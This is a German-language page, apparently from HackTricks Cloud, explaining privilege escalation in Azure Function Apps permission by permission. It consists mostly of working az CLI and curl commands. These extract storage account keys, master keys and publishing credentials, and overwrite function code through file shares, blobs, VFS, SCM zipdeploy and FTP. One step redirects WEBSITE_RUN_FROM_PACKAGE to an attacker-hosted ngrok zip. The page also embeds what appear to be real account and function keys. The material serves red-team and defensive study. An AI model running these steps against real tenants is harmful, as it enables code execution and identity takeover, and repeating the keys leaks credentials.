Az - Functions App Privesc
Reading time: 16 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Function Apps
Überprüfen Sie die folgende Seite für weitere Informationen:
Bucket Read/Write
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, verschiedene Container (benutzerdefiniert oder mit vordefinierten Namen) zu finden, die den von der Funktion ausgeführten Code enthalten könnten.
Sobald Sie herausgefunden haben, wo sich der Code der Funktion befindet, können Sie, wenn Sie Schreibberechtigungen dafür haben, die Funktion dazu bringen, beliebigen Code auszuführen und die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
undWEBSITE_CONTENTSHARE
)
Der Code der Funktion wird normalerweise in einem Dateifreigabe gespeichert. Mit ausreichendem Zugriff ist es möglich, die Code-Datei zu ändern und die Funktion dazu zu bringen, beliebigen Code zu laden, was es ermöglicht, die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind.
Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
und WEBSITE_CONTENTSHARE
, die Sie von
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Diese Konfigurationen enthalten den Storage Account Key, den die Funktion verwenden kann, um auf den Code zuzugreifen.
caution
Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das Skript zu ändern, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
Das folgende Beispiel verwendet macOS, um eine Verbindung zum File Share herzustellen, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu überprüfen:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
Es ist auch üblich, die zip-Releases im Ordner function-releases
des Storage Account Containers zu finden, den die Function App in einem Container normalerweise mit dem Namen function-releases
verwendet.
In der Regel wird diese Bereitstellungsmethode die Konfiguration WEBSITE_RUN_FROM_PACKAGE
in folgendem setzen:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Diese Konfiguration enthält normalerweise eine SAS-URL zum Herunterladen des Codes aus dem Storage Account.
caution
Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der den Code im Zip enthält, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Genau wie im vorherigen Fall ist es möglich, den Ordner github-actions-deploy
im Storage Account zu finden, der ein Zip des Codes und eine SAS-URL zum Zip in der Einstellung WEBSITE_RUN_FROM_PACKAGE
enthält.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
undWEBSITE_CONTENTSHARE
)
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, den Container scm-releases
zu finden. Dort ist es möglich, die neueste Version im Squashfs-Dateisystemdateiformat zu finden und daher den Code der Funktion zu lesen:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Es ist auch möglich, die Master- und Funktionsschlüssel im Speicherkonto im Container azure-webjobs-secrets
im Ordner <app-name>
in den JSON-Dateien zu finden, die Sie dort finden können.
caution
Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der den Code in einer Zip-Erweiterungsdatei (die tatsächlich ein squashfs
ist) enthält, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Diese Berechtigung ermöglicht das Auflisten der Funktions-, Master- und Systemschlüssel, jedoch nicht des Hostschlüssels, der angegebenen Funktion mit:
az functionapp keys list --resource-group <res_group> --name <func-name>
Mit dem Master-Schlüssel ist es auch möglich, den Quellcode in einer URL wie:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
Und um den Code, der in der Funktion ausgeführt wird, zu ändern mit:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion mit:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Funktionsschlüssels der angegebenen Funktion mit:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Diese Berechtigung ermöglicht es, einen Master-Schlüssel für die angegebene Funktion zu erstellen/aktualisieren mit:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
Denken Sie daran, dass Sie mit diesem Schlüssel auch auf den Quellcode zugreifen und ihn wie zuvor erklärt ändern können!
Microsoft.Web/sites/host/systemKeys/write
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Systemfunktionsschlüssels für die angegebene Funktion mit:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Diese Berechtigung ermöglicht es, die Einstellungen einer Funktion abzurufen. In diesen Konfigurationen könnte es möglich sein, die Standardwerte AzureWebJobsStorage
oder WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
zu finden, die einen Kontoschlüssel zum Zugriff auf den Blob-Speicher der Funktion mit VOLLBERECHTIGUNGEN enthalten.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Darüber hinaus ermöglicht diese Berechtigung auch den Zugriff auf den SCM-Benutzernamen und das Passwort (falls aktiviert) mit:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus diese Werte zu ändern. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der Code befindet, der innerhalb der Funktion ausgeführt werden soll.
Es ist daher möglich, den Wert der Einstellung WEBSITE_RUN_FROM_PACKAGE
auf eine URL-Zip-Datei zu setzen, die den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:
- Beginnen Sie damit, die aktuelle Konfiguration abzurufen.
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Erstellen Sie den Code, den die Funktion ausführen soll, und hosten Sie ihn öffentlich.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Ändern Sie die Funktion, behalten Sie die vorherigen Parameter bei und fügen Sie am Ende die Konfiguration
WEBSITE_RUN_FROM_PACKAGE
hinzu, die auf die URL mit der zip verweist, die den Code enthält.
Das folgende ist ein Beispiel für meine eigenen Einstellungen, die Sie an Ihre Werte anpassen müssen, beachten Sie am Ende die Werte "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, hier habe ich die App gehostet.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Mit dieser Berechtigung ist es möglich, den Code einer Anwendung über die Webkonsole (oder über den folgenden API-Endpunkt) zu ändern:
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
Diese Berechtigungen ermöglichen es, alle Veröffentlichungsprofile aufzulisten, die im Grunde Basis-Auth-Anmeldeinformationen enthalten:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Eine weitere Möglichkeit wäre, eigene Anmeldeinformationen festzulegen und diese zu verwenden mit:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Wenn die REDACTED Anmeldeinformationen
Wenn Sie sehen, dass diese Anmeldeinformationen REDACTED sind, liegt das daran, dass Sie die SCM-Basisauthentifizierungsoption aktivieren müssen und dafür die zweite Berechtigung (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
benötigen.
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Methode SCM
Dann können Sie mit diesen Basis-Authentifizierungsanmeldeinformationen auf die SCM-URL Ihrer Funktionsanwendung zugreifen und die Werte der Umgebungsvariablen abrufen:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Beachten Sie, dass der SCM-Benutzername normalerweise das Zeichen "$" gefolgt vom Namen der App ist, also: $<app-name>
.
Sie können auch die Webseite von https://<app-name>.scm.azurewebsites.net/BasicAuth
aufrufen.
Die Einstellungswerte enthalten den AccountKey des Speicherkontos, das die Daten der Funktions-App speichert, und ermöglichen die Kontrolle über dieses Speicherkonto.
- Methode FTP
Verbinden Sie sich mit dem FTP-Server mit:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Beachten Sie, dass der FTP-Benutzername normalerweise im Format <app-name>\$<app-name> vorliegt.
Microsoft.Web/sites/hostruntime/vfs/read
Diese Berechtigung ermöglicht es, den Quellcode der App über das VFS zu lesen:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Mit dieser Berechtigung ist es möglich, das Admin-Token zu erhalten, das später verwendet werden kann, um den Master-Schlüssel abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern.
Bei meinen letzten Überprüfungen wurde jedoch kein Token zurückgegeben, daher könnte es deaktiviert oder nicht mehr funktionsfähig sein, aber so würden Sie es tun:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
Diese Berechtigungen ermöglichen es, Funktionen zu aktivieren, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Es ist auch möglich zu sehen, ob eine Funktion unter der folgenden URL aktiviert oder deaktiviert ist (unter Verwendung der Berechtigung in Klammern):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
Mit diesen Berechtigungen ist es möglich, den Container, der von einer Function App ausgeführt wird, die so konfiguriert ist, dass sie einen Container ausführt, zu modifizieren. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container-App (zum Beispiel) zu Docker Hub hochzuladen und die Funktion dazu zu bringen, sie auszuführen.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
Mit diesen Berechtigungen ist es möglich, eine neue benutzerdefinierte Identität an eine Funktion anzuhängen. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerdefinierte Identität zu eskalieren.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Es ist auch möglich, sich zu verbinden, um eine laufende Azure-Funktion zu debuggen, wie in den Dokumenten erklärt. Standardmäßig wird Azure diese Option jedoch nach 2 Tagen deaktivieren, falls der Entwickler vergisst, um zu vermeiden, dass verwundbare Konfigurationen zurückbleiben.
Es ist möglich zu überprüfen, ob eine Funktion das Debugging aktiviert hat mit:
az functionapp show --name <app-name> --resource-group <res-group>
Mit der Berechtigung Microsoft.Web/sites/config/write
ist es auch möglich, eine Funktion in den Debugging-Modus zu versetzen (der folgende Befehl erfordert ebenfalls die Berechtigungen Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
und Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Ändern des Github-Repos
Ich habe versucht, das Github-Repo, von dem die Bereitstellung erfolgt, zu ändern, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, wurde der neue Code nicht geladen (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).
Darüber hinaus wurde die verwaltete Identität der föderierten Anmeldeinformationen nicht aktualisiert, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.